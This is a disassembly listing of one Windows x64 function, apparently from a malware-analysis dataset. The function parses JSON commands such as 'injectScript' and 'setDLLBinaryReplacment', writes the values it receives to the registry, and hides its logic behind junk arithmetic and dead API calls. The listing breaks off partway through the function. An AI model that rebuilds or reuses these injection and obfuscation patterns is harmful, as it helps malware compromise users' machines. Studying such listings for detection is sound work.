Function at 0x14005008c
Capabilities:
Create http request
Delete registry key
Delete registry value
Get disk size
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x4600
call fcn.1400c0180
sub rsp, rax
mov qword [rsp + 0x10a0], 0xfffffffffffffffe
mov rax, qword [0x14019be90]
xor rax, rsp
mov qword [rsp + 0x45f0], rax
mov r14, r8
mov rbx, rdx
mov qword [rsp + 0x48], rdx
mov r13, rcx
mov qword [rsp + 0x3a8], rcx
mov qword [rsp + 0x180], rdx
mov qword [rsp + 0x3d8], r8
xor edi, edi
mov byte [rsp + 0x40], dil
mov eax, dword [rsp + 0x70]
and eax, 0xffffff00
mov dword [rsp + 0x70], eax
btr eax, 8
mov dword [rsp + 0x70], eax
mov qword [rsp + 0x78], rdi
lea rcx, [rsp + 0x3420]
call fcn.14002b9bc
nop
mov rdx, qword [rbx]
mov qword [rsp + 0xef8], rdx
lea rcx, [rsp + 0x88]
call fcn.1400187b8
nop
mov rdx, qword [rsp + 0x88]
lea rax, [rdx - 0x18]
mov qword [rsp + 0xf08], rax
lea r15d, [rdi + 1]
cmp dword [rax + 0x10], r15d
jle 0x140050167
mov edx, dword [rax + 8]
lea rcx, [rsp + 0x88]
call fcn.1400194d4
mov rdx, qword [rsp + 0x88]
mov qword [rsp + 0x3320], rdi
mov qword [rsp + 0x3328], rdi
mov ebx, 0xf
mov qword [rsp + 0x3328], rbx
mov qword [rsp + 0x3320], rdi
mov byte [rsp + 0x3310], dil
or rsi, 0xffffffffffffffff
cmp byte [rdx], dil
jne 0x1400501a2
mov r8, rdi
jmp 0x1400501ae
mov r8, rsi
inc r8
cmp byte [rdx + r8], dil
jne 0x1400501a5
lea rcx, [rsp + 0x3310]
call fcn.1400013c8
nop
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x3310]
lea rcx, [rsp + 0x3420]
call fcn.14002bab4
test al, al
jne 0x1400502c2
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x2f8]
call fcn.140002d94
nop
lea rdx, [rsp + 0x2f8]
mov rcx, qword [r13 + 0x40]
call fcn.14004b1f4
nop
mov rcx, qword [rsp + 0x2f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x888], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140050238
mov rdx, qword [rsp + 0x888]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x3328], 0x10
jb 0x140050250
mov rcx, qword [rsp + 0x3310]
call fcn.1400bb0b4
mov qword [rsp + 0x3328], rbx
mov qword [rsp + 0x3320], rdi
mov byte [rsp + 0x3310], dil
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x550], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005029b
mov rdx, qword [rsp + 0x550]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x3420]
call fcn.140016cbc
nop
lea rcx, [rsp + 0x68]
call fcn.14002ef28
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x1400558b2
cmp byte [rsp + 0x70], dil
jne 0x1400503b1
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x3e8]
call fcn.140002d94
nop
lea rdx, [rsp + 0x3e8]
mov rcx, qword [r13 + 0x40]
call fcn.14004b1f4
nop
mov rcx, qword [rsp + 0x3e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x778], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140050327
mov rdx, qword [rsp + 0x778]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x3328], 0x10
jb 0x14005033f
mov rcx, qword [rsp + 0x3310]
call fcn.1400bb0b4
mov qword [rsp + 0x3328], rbx
mov qword [rsp + 0x3320], rdi
mov byte [rsp + 0x3310], dil
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x560], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005038a
mov rdx, qword [rsp + 0x560]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x3420]
call fcn.140016cbc
nop
lea rcx, [rsp + 0x68]
call fcn.14002ef28
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x1400558b2
lea rdx, str.action
lea rcx, [rsp + 0x68]
call fcn.14002f92c
mov qword [rsp + 0xf18], rax
lea rcx, [0x1401a4c28]
cmp rax, rcx
je 0x1400557b0
lea rdx, str.action
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xf28], rax
mov r12d, 4
cmp byte [rax + 8], r12b
jne 0x1400557b0
lea rbx, str.param
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f92c
lea rdx, str.action
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xf38], rax
mov rdx, qword [rax]
mov qword [rsp + 0x1078], rdx
lea rcx, [rsp + 0x58]
call fcn.140002d94
nop
lea rdx, str.injectScript
mov rcx, qword [rsp + 0x58]
call fcn.1400cf0b4
mov dword [rsp + 0x738], eax
test eax, eax
jne 0x140051021
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0x9b0], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xd90], rax
cmp byte [rax + 8], r12b
jne 0x140050fc9
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0x9c0], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xfc0], rax
mov rdx, qword [rax]
mov qword [rsp + 0x9d0], rdx
lea rcx, [rsp + 0xc8]
call fcn.140002d94
nop
mov rax, qword [rsp + 0xc8]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x4e0], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400bbc94
lea rdx, str.setDLLBinaryReplacment
mov rcx, qword [rsp + 0x58]
call fcn.1400cf0b4
mov dword [rsp + 0x958], eax
test eax, eax
jne 0x140052015
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0x1000], rax
lea rdx, str.from
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xa50], rax
cmp byte [rax + 8], r12b
jne 0x140051fb8
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xde0], rax
lea rdx, [0x1401375dc]
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xa60], rax
cmp byte [rax + 8], r12b
jne 0x140051fb8
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0x10a8], rax
lea rdx, str.offset
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xa70], rax
cmp byte [rax + 8], r15b
jne 0x140051fb8
mov r8d, dword [0x1401a3d80]
mov ecx, r8d
imul ecx, r8d
mov r12d, 0x38e38e39
mov eax, r12d
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 0xc
jne 0x140051142
mov ecx, edi
mov dword [rsp + 0x2c4], ecx
movsxd rax, ecx
cmp rax, 0xd4
jae 0x140051142
mov eax, dword [rsp + rax*4 + 0x36c0]
imul eax, eax, 0xb0
add r8d, eax
mov dword [0x1401a3d80], r8d
add ecx, r15d
jmp 0x140051114
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xdf0], rax
lea rdx, str.from
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xa80], rax
mov rdx, qword [rax]
mov qword [rsp + 0x10b8], rdx
lea rcx, [rsp + 0xa8]
call fcn.140002d94
nop
mov eax, dword [0x1401a3d80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 3
jne 0x1400511d7
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xa90], rax
lea rdx, [0x1401375dc]
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xe00], rax
mov rdx, qword [rax]
mov qword [rsp + 0xaa0], rdx
lea rcx, [rsp + 0xa0]
call fcn.140002d94
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0x1018], rax
lea rdx, str.offset
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xab0], rax
mov rcx, rax
call fcn.14002f1ac
mov dword [rsp + 0x2f0], eax
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x530], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400bbc94
mov rbx, rax
mov qword [rsp + 0x938], rax
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x768], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400bbc94
mov rcx, rax
mov qword [rsp + 0x1d8], rax
mov eax, dword [0x1401a3d80]
imul eax, eax
and eax, 0x8000000f
jge 0x1400512c4
sub eax, r15d
or eax, 0xfffffff0
add eax, r15d
cmp eax, 7
jne 0x1400512de
mov dword [rsp + 0x2740], edi
mov dword [rsp + 0x1290], edi
mov dword [rsp + 0x1230], edi
test rbx, rbx
je 0x140051e80
test rcx, rcx
je 0x140051e80
mov r8, rbx
lea rdx, [rsp + 0xa8]
call fcn.140055900
test al, al
je 0x140051e80
mov r8, qword [rsp + 0x1d8]
lea rdx, [rsp + 0xa0]
call fcn.140055900
test al, al
je 0x140051e80
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x540], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, rbx
mov rcx, rbx
call fcn.14005002c
mov r8, qword [rsp + 0xa0]
mov eax, dword [r8 - 0x10]
mov dword [rsp + 0x600], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, qword [rsp + 0x1d8]
mov rcx, rdx
call fcn.14005002c
mov r8d, dword [0x1401a3d80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0xc
jne 0x1400513b4
test r8d, r8d
cmove r8d, r15d
mov dword [0x1401a3d80], r8d
mov rax, qword [r13 + 0x40]
mov ebx, 0x1b8
add rax, rbx
mov qword [rsp + 0x2c8], rax
mov qword [rsp + 0xe10], rax
mov rcx, qword [rax]
mov qword [rsp + 0xac0], rcx
mov edx, 0x5c
call fcn.1400bdad4
mov rcx, rax
mov qword [rsp + 0x1020], rax
test rax, rax
jne 0x1400513f9
mov ecx, esi
jmp 0x140051412
mov rax, qword [rsp + 0x2c8]
mov rax, qword [rax]
mov qword [rsp + 0xad0], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r13 + 0x40]
add rcx, rbx
lea rdx, [rsp + 0xd0]
call fcn.140022e68
nop
call fcn.14004fe7c
test al, al
jne 0x14005147d
mov ecx, dword [0x1401a3d80]
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub ecx, edx
add ecx, 0x141
movsxd rcx, ecx
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400ba748
mov qword [rsp + 0xe20], rax
mov rcx, rax
call fcn.1400bc20c
mov rdx, qword [r13 + 0x40]
add rdx, rbx
lea rcx, [rsp + 0x218]
call fcn.140002cf8
nop
mov eax, dword [0x1401a3d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, r12d
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 5
jne 0x1400514ce
mov dword [rsp + 0x10e8], edi
mov dword [rsp + 0x1110], edi
mov dword [rsp + 0x1140], edi
mov rax, qword [r13 + 0x40]
add rax, 0x2d4
mov qword [rsp + 0x420], rax
mov edx, dword [rax]
lea rcx, [rsp + 0x33a0]
call fcn.14004f9dc
mov qword [rsp + 0xae0], rax
cmp qword [rax + 0x18], 0x10
jb 0x140051501
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x7d8]
call fcn.140002d94
mov rbx, rax
lea r8, str._from
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x8b8]
call fcn.140018bf8
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x208]
call fcn.14000dac8
nop
mov rcx, qword [rsp + 0x8b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x610], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051578
mov rdx, qword [rsp + 0x610]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x7d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x620], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400515ab
mov rdx, qword [rsp + 0x620]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x33b8], 0x10
jb 0x1400515c3
mov rcx, qword [rsp + 0x33a0]
call fcn.1400bb0b4
mov qword [rsp + 0x33b8], 0xf
mov qword [rsp + 0x33b0], rdi
mov byte [rsp + 0x33a0], dil
mov r9d, dword [0x1401a3d80]
mov ecx, r9d
imul ecx, r9d
mov eax, r12d
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 0xc
jne 0x140051678
mov r8d, edi
mov dword [rsp + 0x210], edi
lea r12d, [rcx - 4]
cmp r8d, 0x100
jge 0x140051678
mov edx, r8d
mov dword [rsp + 0x200], edx
mov r10d, edi
mov dword [rsp + 0x288], edi
cmp r10d, r12d
jae 0x140051661
mov ecx, edx
and ecx, r15d
sub ecx, r15d
not ecx
and ecx, r9d
mov eax, edx
sar eax, 1
mov edx, ecx
xor edx, eax
mov dword [rsp + 0x200], edx
add r10d, r15d
mov dword [rsp + 0x288], r10d
jmp 0x140051633
add r9d, edx
mov dword [0x1401a3d80], r9d
add r8d, r15d
mov dword [rsp + 0x210], r8d
jmp 0x140051616
mov rax, qword [rsp + 0x420]
mov edx, dword [rax]
lea rcx, [rsp + 0x33e0]
call fcn.14004f9dc
mov qword [rsp + 0x998], rax
cmp qword [rax + 0x18], 0x10
jb 0x1400516a1
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x7e8]
call fcn.140002d94
mov rbx, rax
lea r8, [0x140137620]
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x960]
call fcn.140018bf8
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1f8]
call fcn.14000dac8
nop
mov rcx, qword [rsp + 0x960]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x630], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051718
mov rdx, qword [rsp + 0x630]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x7e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x640], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005174b
mov rdx, qword [rsp + 0x640]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x33f8], 0x10
jb 0x140051763
mov rcx, qword [rsp + 0x33e0]
call fcn.1400bb0b4
mov qword [rsp + 0x33f8], 0xf
mov qword [rsp + 0x33f0], rdi
mov byte [rsp + 0x33e0], dil
mov rcx, qword [rsp + 0x420]
mov edx, dword [rcx]
lea eax, [rdx + 1]
mov dword [rcx], eax
lea rcx, [rsp + 0x33c0]
call fcn.14004f9dc
mov qword [rsp + 0xaf0], rax
cmp qword [rax + 0x18], 0x10
jb 0x1400517ad
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x7f8]
call fcn.140002d94
mov rbx, rax
lea r8, [0x140137630]
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x8c8]
call fcn.140018bf8
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1e8]
call fcn.14000dac8
nop
mov rcx, qword [rsp + 0x8c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x650], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051824
mov rdx, qword [rsp + 0x650]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x7f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x660], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051857
mov rdx, qword [rsp + 0x660]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x33d8], 0x10
jb 0x14005186f
mov rcx, qword [rsp + 0x33c0]
call fcn.1400bb0b4
mov qword [rsp + 0x33d8], 0xf
mov qword [rsp + 0x33d0], rdi
mov byte [rsp + 0x33c0], dil
mov eax, dword [0x1401a3d80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
cmp ecx, 0xa
jne 0x1400518cb
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, qword [rsp + 0x218]
mov rcx, qword [r13 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140051c49
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x718], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov rbx, qword [rsp + 0x938]
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x208]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140051c49
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140051c49
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x7e0], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov r12, qword [rsp + 0x1d8]
mov qword [rsp + 0x20], r12
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140051c49
lea r8, [rsp + 0xe8]
lea rdx, [rsp + 0xd0]
mov rcx, r13
call fcn.140055a18
mov eax, dword [0x1401a3d80]
mov r8d, eax
imul r8d, eax
imul r8d, eax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub r8d, edx
cmp r8d, 2
jne 0x140051a38
lea ecx, [r8 + 2]
call fcn.1400bb888
mov rdx, rax
mov qword [rsp + 0xe30], rax
mov eax, dword [0x1401a3d80]
mov dword [rdx], eax
mov rcx, r12
call fcn.1400bbc10
mov r8d, dword [0x1401a3d80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0xf
jne 0x140051ab2
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x141
movsxd rdx, r8d
mov eax, 4
mul rdx
cmovo rax, rsi
mov rcx, rax
call fcn.1400ba748
mov qword [rsp + 0xb00], rax
mov rcx, rax
call fcn.1400bc20c
mov rcx, rbx
call fcn.1400bbc10
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r14, r14
je 0x140051adc
mov r12d, 0xb
mov word [r14], r12w
mov word [r14 + 8], si
mov rcx, qword [rsp + 0x1e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x670], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051b0f
mov rdx, qword [rsp + 0x670]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x808], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051b42
mov rdx, qword [rsp + 0x808]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x208]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x680], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051b75
mov rdx, qword [rsp + 0x680]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x218]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8d8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051ba8
mov rdx, qword [rsp + 0x8d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xd0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x690], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051bdb
mov rdx, qword [rsp + 0x690]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x818], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051c0e
mov rdx, qword [rsp + 0x818]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6a0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051fb8
mov rdx, qword [rsp + 0x6a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140051fb8
test r14, r14
je 0x140051c5d
mov r12d, 0xb
mov word [r14], r12w
mov word [r14 + 8], di
mov rcx, qword [rsp + 0x1e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x978], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051c90
mov rdx, qword [rsp + 0x978]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6b0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051cc3
mov rdx, qword [rsp + 0x6b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x208]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x828], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051cf6
mov rdx, qword [rsp + 0x828]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x218]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6c0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051d29
mov rdx, qword [rsp + 0x6c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xd0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8e8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051d5c
mov rdx, qword [rsp + 0x8e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6d0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051d8f
mov rdx, qword [rsp + 0x6d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x838], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051dc2
mov rdx, qword [rsp + 0x838]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6e0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051df2
mov rdx, qword [rsp + 0x6e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x3328], 0x10
jb 0x140051e0a
mov rcx, qword [rsp + 0x3310]
call fcn.1400bb0b4
mov qword [rsp + 0x3328], 0xf
mov qword [rsp + 0x3320], rdi
mov byte [rsp + 0x3310], dil
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x948], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051e59
mov rdx, qword [rsp + 0x948]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x3420]
call fcn.140016cbc
nop
lea rcx, [rsp + 0x68]
call fcn.14002ef28
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x1400558ae
test r14, r14
je 0x140051e94
mov r12d, 0xb
mov word [r14], r12w
mov word [r14 + 8], di
mov rcx, qword [rsp + 0xa0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6f0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051ec7
mov rdx, qword [rsp + 0x6f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xa8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x848], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051efa
mov rdx, qword [rsp + 0x848]
mov rcx, qword [rdx]
